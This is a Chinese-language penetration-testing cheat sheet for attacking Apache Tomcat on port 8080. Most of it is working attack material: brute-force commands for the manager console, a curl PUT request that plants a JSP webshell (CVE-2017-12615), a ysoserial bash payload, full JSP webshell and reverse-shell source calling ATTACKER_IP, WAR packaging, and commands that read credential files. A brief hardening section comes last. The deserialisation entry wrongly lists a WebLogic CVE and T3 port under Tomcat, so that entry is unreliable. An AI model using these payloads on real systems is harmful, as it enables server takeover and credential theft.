8080 - Tomcat 渗透
漏洞概述
Apache Tomcat 是流行的 Java Web 应用服务器,常见漏洞包括弱口令、文件上传、反序列化等。
影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐
信息收集
端口扫描
# Nmap 扫描
nmap -sV -p 8080 <TARGET_IP>
# Tomcat 枚举
nmap --script http-tomcat-* <TARGET_IP>版本识别
# 访问默认页面
curl http://<TARGET_IP>:8080/
# 查看版本信息
curl http://<TARGET_IP>:8080/RELEASE-NOTES.txt管理后台探测
# 常见管理路径
/manager/html
/manager/text
/host-manager/html
/admin漏洞利用
方法 1: 弱口令爆破
# 默认凭据
tomcat:tomcat
admin:admin
admin:password
manager:manager
role:role
both:tomcat
# Hydra 爆破
hydra -L /usr/share/wordlists/tomcat-users.txt -P /usr/share/wordlists/rockyou.txt http-get://<TARGET_IP>:8080/manager/html
# Medusa 爆破
medusa -h <TARGET_IP> -p 8080 -U users.txt -P passwords.txt -M http -m DIR=/manager/html方法 2: 文件上传(Manager 应用)
# 1. 登录管理后台
http://<TARGET_IP>:8080/manager/html
# 2. 上传 WAR 包
# 选择 WAR file to deploy
# 上传恶意 WAR 包
# 3. 访问 Webshell
http://<TARGET_IP>:8080/shell/shell.jsp方法 3: PUT 方法上传(CVE-2017-12615)
# 检查是否允许 PUT
curl -X PUT http://<TARGET_IP>:8080/shell.jsp/ -d "<%@page import=\"java.util.*\"%><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"
# 如果返回 201 或 204,说明成功
# 访问 Webshell
http://<TARGET_IP>:8080/shell.jsp?cmd=whoami方法 4: 反序列化漏洞
# CVE-2015-4852
# 使用 ysoserial 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64}|{base64,-d}|{bash,-i}" > payload.bin
# 发送到 T3 端口Webshell 制作
JSP Webshell
<%-- 简单命令执行 --%>
<%@ page import="java.util.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
Scanner s = new Scanner(p.getInputStream());
while (s.hasNext()) {
out.println(s.nextLine());
}
}
%>
<%-- 反弹 Shell --%>
<%@ page import="java.net.*,java.io.*" %>
<%
String host = "ATTACKER_IP";
int port = 4444;
Socket s = new Socket(host, port);
Process p = Runtime.getRuntime().exec("/bin/bash");
new StreamConnector(p.getInputStream(), s.getOutputStream()).start();
new StreamConnector(p.getErrorStream(), s.getOutputStream()).start();
new StreamConnector(s.getInputStream(), p.getOutputStream()).start();
%>WAR 包制作
# 创建目录结构
mkdir -p shell/WEB-INF
# 创建 web.xml
cat > shell/WEB-INF/web.xml << EOF
<?xml version="1.0"?>
<web-app>
<servlet>
<servlet-name>Shell</servlet-name>
<jsp-file>/shell.jsp</jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>Shell</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>
</web-app>
EOF
# 复制 JSP Webshell
cp shell.jsp shell/
# 打包 WAR
cd shell && jar -cvf ../shell.war .提权路径
Tomcat 提权到系统
# 1. 查看 Tomcat 运行用户
ps aux | grep tomcat
# 2. 查看 sudo 权限
sudo -l
# 3. 查找敏感文件
find / -name "*.xml" 2>/dev/null | grep -i tomcat
cat /opt/tomcat/conf/tomcat-users.xml数据库凭据
# 查看数据库配置
cat /opt/tomcat/webapps/ROOT/WEB-INF/classes/jdbc.properties
cat /opt/tomcat/webapps/ROOT/WEB-INF/web.xml防御建议
-
修改默认凭据
<!-- conf/tomcat-users.xml --> <role rolename="admin-gui"/> <user username="admin" password="StrongPassword123!" roles="admin-gui"/> -
禁用 Manager 应用
# 删除或重命名 rm -rf webapps/manager rm -rf webapps/host-manager -
限制访问 IP
<!-- conf/Catalina/localhost/manager.xml --> <Context> <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.0\.0\.1"/> </Context> -
禁用 HTTP PUT 方法
<!-- conf/web.xml --> <security-constraint> <web-resource-collection> <url-pattern>/*</url-pattern> <http-method>PUT</http-method> </web-resource-collection> <auth-constraint/> </security-constraint> -
定期更新
- 安装最新安全补丁